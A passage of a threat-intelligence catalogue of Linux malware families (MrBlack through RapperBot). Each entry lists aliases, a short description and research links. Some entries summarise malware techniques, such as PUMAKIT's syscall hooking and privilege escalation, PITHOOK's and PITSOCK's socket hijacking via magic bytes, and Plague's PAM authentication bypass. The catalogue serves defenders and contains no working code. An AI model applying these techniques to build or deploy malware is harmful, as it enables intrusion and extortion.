The tag is: *misp-galaxy:malpedia="MrBlack"*

MrBlack is also known as:

- AESDDoS
- Dofloo

Table 2569. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mrblack
https://www.bleepingcomputer.com/news/security/exposed-docker-apis-abused-by-ddos-cryptojacking-botnet-malware/
https://www.botconf.eu/wp-content/uploads/2015/12/OK-P13-Liu-Ya-Automatically-Classify-Unknown-Bots-by-The-Register-Messages.pdf
https://blog.syscall.party/post/aes-ddos-analysis-part-1/
https://news.drweb.com/?i=5760&c=23&lng=en
https://www.virusbulletin.com/uploads/pdf/conference/vb2015/KalnaiHorejsi-VB2015.pdf

Mumblehard

The tag is: *misp-galaxy:malpedia="Mumblehard"*

Mumblehard is also known as:

Table 2570. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.mumblehard
https://www.welivesecurity.com/wp-content/uploads/2015/04/mumblehard.pdf

Nextcry

Ransomware used against Linux servers.

The tag is: *misp-galaxy:malpedia="Nextcry"*

Nextcry is also known as:

Table 2571. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.nextcry
https://www.bleepingcomputer.com/news/security/new-nextcry-ransomware-encrypts-data-on-nextcloud-linux-servers/

Ngioweb (ELF)

The tag is: *misp-galaxy:malpedia="Ngioweb (ELF)"*

Ngioweb (ELF) is also known as:

Table 2572. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ngioweb
https://levelblue.com/blogs/labs-research/ngioweb-remains-active-7-years-later
https://www.trendmicro.com/en_in/research/24/e/router-roulette.html
https://twitter.com/IntezerLabs/status/1324346324683206657
https://blog.lumen.com/one-sock-fits-all-the-use-and-abuse-of-the-nsocks-botnet/
https://www.trendmicro.com/de_de/research/24/k/water-barghest.html
https://www.trendmicro.com/pt_br/research/24/k/water-barghest.html
https://blog.netlab.360.com/an-analysis-of-linux-ngioweb-botnet-en/
https://www.trendmicro.com/en_us/research/24/k/water-barghest.html
https://blog.netlab.360.com/linux-ngioweb-v2-going-after-iot-devices-en/

Nimbo-C2 (ELF)

According to the author, Nimbo-C2 is yet another (simple and lightweight) C2 framework. The agent currently supports Windows x64 and Linux. It's written in Nim, with some usage of .NET (by dynamically loading the CLR to the process).

The tag is: *misp-galaxy:malpedia="Nimbo-C2 (ELF)"*

Nimbo-C2 (ELF) is also known as:

Table 2573. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.nimbo_c2
https://github.com/itaymigdal/Nimbo-C2
https://www.sentinelone.com/labs/follow-the-smoke-china-nexus-threat-actors-hammer-at-the-doors-of-top-tier-targets/

NiuB

Golang-based RAT that offers execution of shell commands and download+run capability.

The tag is: *misp-galaxy:malpedia="NiuB"*

NiuB is also known as:

Table 2574. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.niub
https://labs.bitdefender.com/2020/10/theres-a-new-a-golang-written-rat-in-town/
https://www.intezer.com/wp-content/uploads/2021/02/Intezer-2020-Go-Malware-Round-Up.pdf

NoaBot

The tag is: *misp-galaxy:malpedia="NoaBot"*

NoaBot is also known as:

Table 2575. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.noabot
https://www.akamai.com/blog/security-research/mirai-based-noabot-crypto-mining
https://nikhilh-20.github.io/blog/noabot_botnet/

Nood RAT

The tag is: *misp-galaxy:malpedia="Nood RAT"*

Nood RAT is also known as:

Table 2576. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.noodrat
https://asec.ahnlab.com/en/62144/

Nosedive

According to Black Lotus Labs, Nosedive is a custom variation of the Mirai implant that is supported on all major SOHO and IoT architectures (e.g. MIPS, ARM, SuperH, PowerPC, etc.). Nosedive implants are typically deployed from Tier 2 payload servers in the Raptor Train infrastructure through a unique URL encoding scheme and domain injection method. Nosedive

droppers use this method to request payloads for specific C2s by encoding the requested C2 domain and joining it with a unique "key" that identifies the bot and the target architecture of the compromised device (e.g. MIPS, ARM, etc.), which is then injected into the Nosedive implant payload that is deployed to the Tier 1 node. Once deployed, Nosedive runs in-memory only and allows the operators to execute commands, upload and download files, and run DDoS attacks on compromised devices.

The malware and its associated droppers are memory-resident only and deleted from disk. This, in addition to anti-forensics techniques employed on these devices including the obfuscation of running process names, compromising devices through a multi-stage infection chain, and killing remote management processes, makes detection and forensics much more difficult.

The tag is: *misp-galaxy:malpedia="Nosedive"*

Nosedive is also known as:

Table 2577. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.nosedive
https://assets.lumen.com/is/content/Lumen/raptor-train-handbook-copy
https://media.defense.gov/2024/Sep/18/2003547016/-1/-1/0/CSA-PRC-LINKED-ACTORS-BOTNET.PDF
https://www.justice.gov/d9/2024-09/redacted_24-mj-1484_signed_search_and_seizure_warrant_for_disclosure.pdf
https://blog.lumen.com/derailing-the-raptor-train/

NOTROBIN

FireEye states that NOTROBIN is a utility written in Go 1.10 and compiled to a 64-bit ELF binary for BSD systems. It periodically scans for and deletes files matching filename patterns and content characteristics. The purpose seems to be to block exploitation attempts against the CVE-2019-19781 vulnerability; however, FireEye believes that NOTROBIN provides backdoor access to the compromised system.

The tag is: *misp-galaxy:malpedia="NOTROBIN"*

NOTROBIN is also known as:

- remove_bds

Table 2578. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.notrobin
https://blog.dcso.de/a-curious-case-of-cve-2019-19781-palware-remove_bds/
https://www.theregister.co.uk/2020/01/17/hackers_patch_citrix_vulnerability/
https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought

https://dcso.de/2020/01/16/a-curious-case-of-cve-2019-19781-palware-remove_bds/
https://news.sophos.com/en-us/2020/05/21/asnarok2/
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.fireeye.com/blog/products-and-services/2020/01/rough-patch-promise-it-will-be-200-ok.html
https://www.fireeye.com/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html

OrBit

According to stormshield, Orbit is a two-stage malware that appeared in July 2022, discovered by Intezer lab. Acting as a stealer and backdoor on 64-bit Linux systems, it consists of an executable acting as a dropper and a dynamic library.

The tag is: *misp-galaxy:malpedia="OrBit"*

OrBit is also known as:

Table 2579. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.orbit
https://www.intezer.com/blog/incident-response/orbit-new-undetected-linux-threat/

Owari

Mirai variant by actor "Anarchy" that used CVE-2017-17215 in July 2018 to compromise 18,000+ devices.

The tag is: *misp-galaxy:malpedia="Owari"*

Owari is also known as:

Table 2580. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.owari
https://twitter.com/ankit_anubhav/status/1019647993547550720
https://www.bleepingcomputer.com/news/security/router-crapfest-malware-author-builds-18-000-strong-botnet-in-a-day/
https://www.scmagazine.com/malware-author-anarchy-builds-18000-strong-huawei-router-botnet/article/782395/
https://twitter.com/hrbrmstr/status/1019922651203227653

https://blog.newskysecurity.com/understanding-the-iot-hacker-a-conversation-with-owari-sora-iot-botnet-author-117feff56863
https://twitter.com/360Netlab/status/1019759516789821441
https://www.fortinet.com/blog/threat-research/a-wicked-family-of-bots.html

p0sT5n1F3r

According to Yarix digital security, this is a malware that allows to sniff on HTTPS traffic, implemented as Apache module.

The tag is: *misp-galaxy:malpedia="p0sT5n1F3r"*

p0sT5n1F3r is also known as:

Table 2581. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.p0st5n1f3r
https://blog.kartone.ninja/the-p0st5n1f3r-backdoor/
https://www.vargroup.it/wp-content/uploads/2019/10/ReverseEngineering_SecurityReport_EN_2019.10.16-2.pdf

P2Pinfect

P2Pinfect is a fast-growing multi platform botnet, the purpose of which is still unknown. Written in Rust, it is compatible with Windows and Linux, including a MIPS variant for Linux based routers and IoT devices. It is capable of brute forcing SSH logins and exploiting Redis servers in order to propagate itself both to random IPs on the internet and to hosts it can find references to in files present on the infected system.

The tag is: *misp-galaxy:malpedia="P2Pinfect"*

P2Pinfect is also known as:

Table 2582. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.p2pinfect
https://www.cadosecurity.com/blog/from-dormant-to-dangerous-p2pinfect-evolves-to-deploy-new-ransomware-and-cryptominer
https://www.cadosecurity.com/cado-security-labs-researchers-witness-a-600x-increase-in-p2pinfect-traffic/
https://www.cadosecurity.com/p2pinfect-new-variant-targets-mips-devices/
https://www.cadosecurity.com/redis-p2pinfect/
https://unit42.paloaltonetworks.com/peer-to-peer-worm-p2pinfect/

https://www.nozominetworks.com/blog/p2pinfect-worm-evolves-to-target-a-new-platform

pbot

P2P botnet derived from the Mirai source code.

The tag is: *misp-galaxy:malpedia="pbot"*

pbot is also known as:

Table 2583. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pbot
https://www.cert.org.cn/publish/main/11/2021/20210628133948926376206/20210628133948926376206_.html

Penquin Turla

The tag is: *misp-galaxy:malpedia="Penquin Turla"*

Penquin Turla is also known as:

Table 2584. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.penquin_turla
https://securelist.com/big-threats-using-code-similarity-part-1/97239/
https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_AppendixB.pdf
https://twitter.com/juanandres_gs/status/944741575837528064
https://securelist.com/files/2017/04/Penquins_Moonlit_Maze_PDF_eng.pdf
https://securelist.com/an-overview-of-targeted-attacks-and-apts-on-linux/98440/
https://www.blackberry.com/us/en/pdfviewer?file=/content/dam/blackberry-com/asset/enterprise/pdf/direct/report-bb-decade-of-the-rats.pdf
https://www.youtube.com/watch?v=JXsjRUxx47E
https://lab52.io/blog/looking-for-penquins-in-the-wild/
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180251/Penquins_Moonlit_Maze_PDF_eng.pdf
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf
https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf

https://securelist.com/apt-trends-report-q2-2020/97937/

perfctl

The tag is: *misp-galaxy:malpedia="perfctl"*

perfctl is also known as:

- perfcc

Table 2585. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.perfctl
https://www.cadosecurity.com/blog/from-automation-to-exploitation-the-growing-misuse-of-selenium-grid-for-cryptomining-and-proxyjacking
https://www.aquasec.com/blog/perfctl-a-stealthy-malware-targeting-millions-of-linux-servers/

PerlBot

The tag is: *misp-galaxy:malpedia="PerlBot"*

PerlBot is also known as:

- DDoS Perl IrcBot
- ShellBot

Table 2586. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.perlbot
https://asec.ahnlab.com/en/54647/
https://twitter.com/Nocturnus/status/1308430959512092673
https://documents.trendmicro.com/assets/Perl-Based_Shellbot_Looks_to_Target_Organizations_via_C&C_appendix.pdf
https://therecord.media/agents-raid-home-of-kansas-man-seeking-info-on-botnet-that-infected-dod-network/
https://unit42.paloaltonetworks.com/los-zetas-from-eleethub-botnet/
https://unit42.paloaltonetworks.com/cve-2022-22954-vmware-vulnerabilities/
https://unit42.paloaltonetworks.com/cve-2020-17496/
https://yoroi.company/research/outlaw-is-back-a-new-crypto-botnet-targets-european-organizations/
https://asec.ahnlab.com/en/49769/

https://blog.netlab.360.com/some_details_of_the_ddos_attacks_targeting_ukraine_and_russia_in_recent_days/
https://jask.com/wp-content/uploads/2019/02/Shellbot-Campaign_v2.pdf
https://sysdig.com/blog/malware-analysis-shellbot-sysdig/
https://www.trendmicro.com/en_us/research/20/l/teamtnt-now-deploying-ddos-capable-irc-bot-tntbotinger.html
https://brianstadnicki.github.io/posts/malware-gitlab-perlbot/
https://us-cert.cisa.gov/ncas/alerts/aa20-345a
https://sysdig.com/blog/rubycarp-romanian-botnet-group/

Persirai

The tag is: *misp-galaxy:malpedia="Persirai"*

Persirai is also known as:

Table 2587. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.persirai
http://blog.trendmicro.com/trendlabs-security-intelligence/persirai-new-internet-things-iot-botnet-targets-ip-cameras/

PG_MEM

The tag is: *misp-galaxy:malpedia="PG_MEM"*

PG_MEM is also known as:

Table 2588. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pg_mem
https://www.aquasec.com/blog/pg_mem-a-malware-hidden-in-the-postgres-processes/

PigmyGoat

The tag is: *misp-galaxy:malpedia="PigmyGoat"*

PigmyGoat is also known as:

Table 2589. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pigmy_goat

https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/pygmy-goat/ncsc-mar-pygmy-goat.pdf

PingPull

The tag is: *misp-galaxy:malpedia="PingPull"*

PingPull is also known as:

Table 2590. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pingpull
https://unit42.paloaltonetworks.com/alloy-taurus/
https://blog.sekoia.io/my-teas-not-cold-an-overview-of-china-cyber-threat/

Pink

A botnet with P2P and centralized C&C capabilities.

The tag is: *misp-galaxy:malpedia="Pink"*

Pink is also known as:

Table 2591. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pink
https://blog.netlab.360.com/pink-en/
https://blog.netlab.360.com/p2p-botnets-review-status-continuous-monitoring/

PITFUEL

According to Mandiant, this is a SparkGateway plugin that loads LITTLELAMB.WOOLTEA through JNI.

The tag is: *misp-galaxy:malpedia="PITFUEL"*

PITFUEL is also known as:

Table 2592. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pitfuel
https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-exploitation-persistence/

PITHOOK

According to Mandiant, PITHOOK hooks the accept and accept4 functions within the web process by modifying the PLT. When PITHOOK receives a buffer matching the predefined magic byte sequence, it will duplicate the socket and forward it to PITSTOP over the Unix domain socket /data/runtime/cockpit/wd.fd.

The tag is: *misp-galaxy:malpedia="PITHOOK"*

PITHOOK is also known as:

Table 2593. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pithook
https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-exploitation-persistence/

PITSOCK

According to Mandiant, this is backdoor which hooks the accept and setsockopt of the web process by modifying its procedure linkage table (PLT). This enables backdoor communication via the Unix socket /tmp/clientsDownload.sock when it receives a specific 48-byte magic byte sequence in the incoming buffer.

The tag is: *misp-galaxy:malpedia="PITSOCK"*

PITSOCK is also known as:

Table 2594. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pitsock
https://cloud.google.com/blog/topics/threat-intelligence/investigating-ivanti-exploitation-persistence/

Plague

According to Nexttron Systems, this is an implant built as a malicious PAM (Pluggable Authentication Module), enabling attackers to silently bypass system authentication and gain persistent SSH access.

The tag is: *misp-galaxy:malpedia="Plague"*

Plague is also known as:

Table 2595. Table References

Links

https://malpedia.caad.fkie.fraunhofer.de/details/elf.plague
https://www.nextron-systems.com/2025/08/01/plague-a-newly-discovered-pam-based-backdoor-for-linux/

PLEAD (ELF)

The tag is: *misp-galaxy:malpedia="PLEAD (ELF)"*

PLEAD (ELF) is also known as:

Table 2596. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.plead
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://jp.security.ntt/resources/EN-BlackTech_2021.pdf
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://blogs.jpcert.or.jp/en/2020/11/elf-plead.html
https://www.macnica.net/file/mpressioncss_ta_report_2019_2_nopw.pdf
https://www.ironnet.com/blog/china-cyber-attacks-the-current-threat-landscape
https://cyberandramen.net/2021/02/11/blacktech-updates-elf-plead-backdoor/
https://www.cyberandramen.net/home/blacktech-doesnt-miss-a-step-a-quick-analysis-of-a-busy-2020

PolarEdge

According to Sekoia, this is a form of TLS backdoor containing pre-defined commands. Their investigation initially identified Cisco routers as a target but they also uncovered other payloads from the same family, but targeting different devices, notably Asus, QNAP and Synology. A working hypothesis suggests that devices compromised with PolarEdge could be used as Operational Relay Boxes (ORB) to facilitate offensive cyber operations.

The tag is: *misp-galaxy:malpedia="PolarEdge"*

PolarEdge is also known as:

Table 2597. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.polaredge
https://blog.sekoia.io/polaredge-unveiling-an-uncovered-iot-botnet/
https://blog.xlab.qianxin.com/smoking-gun-uncovered-rpx-relay-at-polaredges-core-exposed/

https://censys.com/blog/2025-state-of-the-internet-digging-into-residential-proxy-infrastructure

Poseidon (ELF)

Part of Mythic C2, written in Golang.

The tag is: *misp-galaxy:malpedia="Poseidon (ELF)"*

Poseidon (ELF) is also known as:

Table 2598. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.poseidon
https://brandefense.io/blog/apt-36-campaign-poseidon-malware-technical-analysis/
https://www.seqrite.com/blog/umbrella-of-pakistani-threats-converging-tactics-of-cyber-operations-targeting-india/
https://github.com/MythicAgents/poseidon
https://cert.gov.ua/article/6123309

PRISM

The tag is: *misp-galaxy:malpedia="PRISM"*

PRISM is also known as:

- waterdrop

Table 2599. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.prism
https://cybersecurity.att.com/blogs/labs-research/prism-attacks-fly-under-the-radar

PrivetSanya

Black Lotus Labs identified malware for the Windows Subsystem for Linux (WSL). Mostly written in Python but compiled as Linux ELF files.

The tag is: *misp-galaxy:malpedia="PrivetSanya"*

PrivetSanya is also known as:

Table 2600. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.privet_sanya

https://blog.lumen.com/no-longer-just-theory-black-lotus-labs-uncovers-linux-executables-deployed-as-stealth-windows-loaders/

Prometei (ELF)

The tag is: *misp-galaxy:malpedia="Prometei (ELF)"*

Prometei (ELF) is also known as:

Table 2601. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.prometei
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://cujo.com/iot-malware-journals-prometei-linux/
https://www.trendmicro.com/en_us/research/21/e/proxylogon-a-coinminer—a-ransomware—and-a-botnet-join-the-part.html
https://blog.talosintelligence.com/2020/07/prometei-botnet-and-its-quest-for-monero.html
https://www.cybereason.com/blog/prometei-botnet-exploiting-microsoft-exchange-vulnerabilities
https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html
https://twitter.com/IntezerLabs/status/1338480158249013250

Pro-Ocean

Unit 42 describes this as a malware used by Rocke Group that deploys an XMRig miner.

The tag is: *misp-galaxy:malpedia="Pro-Ocean"*

Pro-Ocean is also known as:

Table 2602. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pro_ocean
https://unit42.paloaltonetworks.com/pro-ocean-rocke-groups-new-cryptojacking-malware/
https://seguranca-informatica.pt/new-cryptojacking-malware-called-pro-ocean-is-now-attacking-apache-oracle-and-redis-servers/

PumaBot

The tag is: *misp-galaxy:malpedia="PumaBot"*

PumaBot is also known as:

Table 2603. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pumabot
https://www.darktrace.com/blog/pumabot-novel-botnet-targeting-iot-surveillance-devices

PUMAKIT

According to Elastic, PUMAKIT is a sophisticated loadable kernel module (LKM) rootkit that employs advanced stealth mechanisms to hide its presence and maintain communication with command-and-control servers.

The rootkit component, referenced by the malware authors as “PUMA", employs an internal Linux function tracer (ftrace) to hook 18 different syscalls and several kernel functions, enabling it to manipulate core system behaviors. Unique methods are used to interact with PUMA, including using the rmdir() syscall for privilege escalation and specialized commands for extracting configuration and runtime information.

Key functionalities of the kernel module include privilege escalation, hiding files and directories, concealing itself from system tools, anti-debugging measures, and establishing communication with command-and-control (C2) servers.

There is also an accompanying userland SO rootkit internally referred to as Kitsune.

The tag is: *misp-galaxy:malpedia="PUMAKIT"*

PUMAKIT is also known as:

- Kitsune
- PUMA

Table 2604. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pumakit
https://www.elastic.co/security-labs/declawing-pumakit

pupy (ELF)

Pupy is an open-source, cross-platform RAT and post-exploitation framework mainly written in python. Pupy can be loaded from various loaders, including PE EXE, reflective DLL, Linux ELF, pure python, powershell and APK. Most of the loaders bundle an embedded python runtime, python library modules in source/compiled/native forms as well as a flexible configuration. They bootstrap a python runtime environment mostly in-memory for the later stages of pupy to run in. Pupy can communicate using various transports, migrate into processes, load remote python code, python packages and python C-extensions from memory.

The tag is: *misp-galaxy:malpedia="pupy (ELF)"*

pupy (ELF) is also known as:

Table 2605. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pupy
https://github.com/n1nj4sec/pupy
https://go.recordedfuture.com/hubfs/reports/cta-2020-0123.pdf

PWNLNX

The tag is: *misp-galaxy:malpedia="PWNLNX"*

PWNLNX is also known as:

Table 2606. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.pwnlnx
https://x.com/IntezerLabs/status/1308740144120213506?ref=blog.xlab.qianxin.com

Qilin

Qilin ransomware, initially observed in July 2022 under the name “Agenda,” operates on a Ransomware-as-a-Service (RaaS) model. This model allows core developers to provide their malicious software and infrastructure to affiliates in exchange for a percentage of the profits generated from attacks. The name “Qilin” references a Chinese mythological creature symbolizing power and prosperity, a fitting metaphor for the group’s perceived influence and financial objectives. Despite the Chinese name, the group is linked to Russian-speaking cybercriminals, often recruiting affiliates on Russian-language forums and notably excluding Commonwealth of Independent States (CIS) countries from its targets.

The tag is: *misp-galaxy:malpedia="Qilin"*

Qilin is also known as:

Table 2607. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.qilin
https://tehtris.com/en/blog/rage-against-the-powershell-qilin-in-the-name/
https://www.bleepingcomputer.com/news/security/linux-version-of-qilin-ransomware-focuses-on-vmware-esxi/
https://medium.com/@raghavtiresearch/qilin-ransomware-as-a-service-threat-analysis-and-strategic-outlook-daf8bd6808b5
https://x.com/MsftSecIntel/status/1897738961348374621

https://twitter.com/malwrhunterteam/status/1724521714845937822

QNAPCrypt

The QNAPCrypt ransomware works similarly to other ransomware, including encrypting all files and delivering a ransom note. However, there are several important differences:

1. The ransom note was included solely as a text file, without any message on the screen—naturally, because it is a server and not an endpoint.
2. Every victim is provided with a different, unique Bitcoin wallet—this could help the attackers avoid being traced.
3. Once a victim is compromised, the malware requests a wallet address and a public RSA key from the command and control server (C&C) before file encryption.

The tag is: *misp-galaxy:malpedia="QNAPCrypt"*

QNAPCrypt is also known as:

- eCh0raix

Table 2608. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.qnapcrypt
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://blog.netlab.360.com/qnap-nas-users-make-sure-you-check-your-system/
https://intezer.com/blog/linux/elf-malware-analysis-101-linux-threats-no-longer-an-afterthought
https://www.intezer.com/blog-russian-cybercrime-group-fullofdeep-behind-qnapcrypt-ransomware-campaigns/
https://www.qnap.com/en/security-advisory/QSA-20-02
https://www.ibm.com/downloads/cas/Z81AVOY7
https://www.bleepingcomputer.com/news/security/qnap-warns-of-ech0raix-ransomware-attacks-roon-server-zero-day/
https://documents.trendmicro.com/assets/pdf/wp-backing-your-backup-defending-nas-devices-against-evolving-threats.pdf
https://www.anomali.com/blog/the-ech0raix-ransomware
https://www.intezer.com/blog/malware-analysis/when-viruses-mutate-did-suncrypt-ransomware-evolve-from-qnapcrypt
https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/
https://www.intezer.com/blog-seizing-15-active-ransomware-campaigns-targeting-linux-file-storage-servers/

QSnatch

The malware infects QNAP NAS devices, is persisting via various mechanisms and resists cleaning by preventing firmware updates and interfering with QNAP MalwareRemover. The malware steals passwords and hashes

The tag is: *misp-galaxy:malpedia="QSnatch"*

QSnatch is also known as:

Table 2609. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.qsnatch
https://bin.re/blog/the-dga-of-qsnatch/
https://www.kyberturvallisuuskeskus.fi/en/news/qsnatch-malware-designed-qnap-nas-devices
https://documents.trendmicro.com/assets/pdf/wp-backing-your-backup-defending-nas-devices-against-evolving-threats.pdf
https://www.ncsc.gov.uk/files/NCSC%20CISA%20Alert%20-QNAP%20NAS%20Devices.pdf
https://www.trendmicro.com/en_us/research/21/l/the-evolution-of-iot-linux-malware-based-on-mitre-att&ck-ttps.html
https://us-cert.cisa.gov/ncas/alerts/aa20-209a

QUIETEXIT

Mandiant observed this backdoor being observed by UNC3524. It is based on the open-source Dropbear SSH source code.

The tag is: *misp-galaxy:malpedia="QUIETEXIT"*

QUIETEXIT is also known as:

Table 2610. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.quietexit
https://mandiant.widen.net/s/pkffwrbjlz/m-trends-2023
https://www.mandiant.com/resources/unc3524-eye-spy-email

r2r2

The tag is: *misp-galaxy:malpedia="r2r2"*

r2r2 is also known as:

Table 2611. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.r2r2
https://www.guardicore.com/2018/06/operation-prowli-traffic-manipulation-cryptocurrency-mining/

RagnarLocker (ELF)

The tag is: *misp-galaxy:malpedia="RagnarLocker (ELF)"*

RagnarLocker (ELF) is also known as:

Table 2612. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ragnarlocker
https://noticeofpleadings.com/crackedcobaltstrike/files/ComplaintAndSummons/1%20-Microsoft%20Cobalt%20Strike%20-%20Complaint(907040021.9).pdf
https://twitter.com/malwrhunterteam/status/1475568201673105409
https://techcrunch.com/2023/10/20/ragnarlocker-ransomware-dark-web-portal-seized-in-international-sting/?guccounter=1
https://www.trellix.com/en-us/about/newsroom/stories/threat-labs/analysis-and-protections-for-ragnarlocker-ransomware.html

Rakos

The tag is: *misp-galaxy:malpedia="Rakos"*

Rakos is also known as:

Table 2613. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rakos
https://journal.cecyf.fr/ojs/index.php/cybin/article/view/16/22
http://www.welivesecurity.com/2016/12/20/new-linuxrakos-threat-devices-servers-ssh-scan/

RansomEXX (ELF)

According to SentineOne, RansomEXX (aka Defray, Defray777), a multi-pronged extortion threat, has been observed in the wild since late 2020. RansomEXX is associated with attacks against the Texas Department of Transportation, Groupe Atlantic, and several other large enterprises. There are Windows and Linux variants of this malware family, and they are known for their limited and exclusive targeting.

The tag is: *misp-galaxy:malpedia="RansomEXX (ELF)"*

RansomEXX (ELF) is also known as:

- Defray777

Table 2614. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ransomexx
https://www.bleepingcomputer.com/news/security/ecuadors-state-run-cnt-telco-hit-by-ransomexx-ransomware/
https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://gustavopalazolo.medium.com/ransomexx-an%C3%A1lise-do-ransomware-utilizado-no-ataque-ao-stj-918001ec8195
https://securityintelligence.com/x-force/ransomexx-upgrades-rust/
https://www.sentinelone.com/anthology/ransomexx/
https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/docs/vmw-exposing-malware-in-linux-based-multi-cloud-environments.pdf
https://www.intezer.com/blog/cloud-security/top-linux-cloud-threats-of-2020/
https://blogs.vmware.com/security/2022/09/esxi-targeting-ransomware-the-threats-that-are-after-your-virtual-machines-part-1.html
https://www.ctir.gov.br/arquivos/alertas/2020/alerta_2020_03_ataques_de_ransomware.pdf
https://docs.google.com/spreadsheets/d/1MI8Z2tBhmqQ5X8Wf_ozv3dVjz5sJOs-3
https://krebsonsecurity.com/2021/08/ransomware-gangs-and-the-name-game-distraction/
https://www.youtube.com/watch?v=qxPXxWMI2i4
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2021GTR.pdf
https://www.cybereason.com/blog/cybereason-vs.-ransomexx-ransomware
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/
https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-ransomware-threat-report-2021.pdf
https://www.crowdstrike.com/blog/carbon-spider-sprite-spider-target-esxi-servers-with-ransomware/?utm_campaign=blog&utm_medium=soc&utm_source=twtr&utm_content=sprout
https://web.archive.org/web/20210305181115/https://cisoclub.ru/doc/otchet-kompanii-group-ib-ransomware-uncovered-2020-2021/?bp-attachment=group-ib_ransomware_uncovered_2020-2021.pdf
https://www.ic3.gov/Media/News/2021/211101.pdf
https://securelist.com/ransomexx-trojan-attacks-linux-systems/99279/

RansomExx2

According to IBM Security X-Force, this is a new but functionally very similar version of RansomExx, fully rewritten in Rust and internally referred to as RansomExx2.

The tag is: *misp-galaxy:malpedia="RansomExx2"*

RansomExx2 is also known as:

Table 2615. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.ransomexx2
https://securityintelligence.com/x-force/ransomexx-upgrades-rust/

RapperBot

A Mirai derivate bruteforcing SSH servers.

The tag is: *misp-galaxy:malpedia="RapperBot"*

RapperBot is also known as:

Table 2616. Table References

Links
https://malpedia.caad.fkie.fraunhofer.de/details/elf.rapper_bot
https://www.fortinet.com/blog/threat-research/rapperbot-malware-discovery
https://www.fortinet.com/blog/threat-research/new-rapperbot-campaign-ddos-attacks
https://www.wsj.com/tech/oregon-man-accused-of-operating-one-of-most-powerful-attack-botnets-ever-seen-380b2caf?mod=RSSMSN
https://socradar.io/linux-malware-rapperbot-brute-forcing-ssh-servers/
